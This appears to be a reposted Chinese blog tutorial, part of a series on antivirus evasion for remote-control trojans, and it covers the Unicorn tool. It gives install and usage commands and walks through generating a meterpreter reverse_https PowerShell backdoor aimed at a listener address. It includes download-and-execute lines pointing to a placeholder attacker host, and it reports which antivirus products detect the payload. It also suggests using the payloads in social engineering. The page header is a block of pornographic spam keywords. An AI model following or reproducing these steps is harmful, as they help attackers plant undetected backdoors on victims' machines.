日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

远控免杀专题(16)-Unicorn免杀

發布時間:2023/12/1 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 远控免杀专题(16)-Unicorn免杀 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x01 免殺能力一覽表


幾點說明:

1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。

2、為了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。

3、由于本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。

4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作為免殺或殺軟能力的判斷指標。

5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。

0x02 Unicorn介紹

Magic Unicorn是一個比較簡單的小工具,主要是基于Matthew Graeber提出的PowerShell攻擊技術以及David Kennedy和Josh Kelly 提出的powershell bypass技術,把所有payload都轉換成powershell代碼。

Magic Unicorn支持cobalt strike、Metasploit和自定義的shellcode。

0x03 安裝Unicorn

安裝比較簡單

git clone https://github.com/trustedsec/unicorn.git

都不需要安裝其他的python庫,就可以直接運行。

當然還是需要已經安裝了Msf才行,因為Unicorn生成payload還是依賴msf,只不過它把payload轉換成了powershell命令來運行。

執行python unicorn.py即可

0x04 Unicorn使用說明

可以使用python unicorn.py --help命令查看詳細幫助

主要的幾個用法如下:

Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde CRT Example: python unicorn.py <path_to_payload/exe_encode> crt Custom PS1 Example: python unicorn.py <path to ps1 file> Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500 Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format) Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit) Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit) Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit) Generate .SettingContent-ms: python unicorn.py ms Help Menu: python unicorn.py --help

支持生成ps1、macro、hta、dde等形式的代碼和文件

0x05 利用Unicorn生成后門

我以最常規的windows/meterpreter/reverse_https來生成payload

生成命令為

python unicorn.py windows/meterpreter/reverse_https 10.211.55.2 3334

其中10.211.55.2和3334是我msf監聽的ip和端口

生成了兩個文件powershell_attack.txt和unicorn.rc

其中powershell_attack.txt是生成的payload

而unicorn.rc是msf配置文件,也就是用msfconsole -r unicorn.rc命令可以快捷的啟動msf并監聽相應端口

然后我們在測試機器上執行powershell_attack.txt里的代碼

可正常上線

可以把powershell代碼轉換成exe,使用bat2exe就可以,生成ps1.exe

執行ps1.exe,發現觸發了360安全衛士的行為檢測,不過火絨沒有反應。

0x05 小結

Unicorn使用比較簡單,可以生成powershell代碼、macro宏代碼、hta、dde等格式的payload文件,可以在社工時直接使用,不過因為生成的代碼關鍵字比較明顯,所以靜態查殺很多都沒通過,只能說生成代碼多樣但免殺效果一般。

上面用到bat2exe工具和zirikatu已經放在tools文件夾中,還算挺好使

https://github.com/TideSec/BypassAntiVirus/tree/master/tools

參考

magic-unicorn:https://www.hackingarticles.in/magic-unicorn-powershell-downgrade-attack-and-exploitation-tool/

過win10防火墻和windows defender:https://null-byte.wonderhowto.com/how-to/hacking-windows-10-create-undetectable-payload-part-1-bypassing-antivirus-software-0185055/

總結

以上是生活随笔為你收集整理的远控免杀专题(16)-Unicorn免杀的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。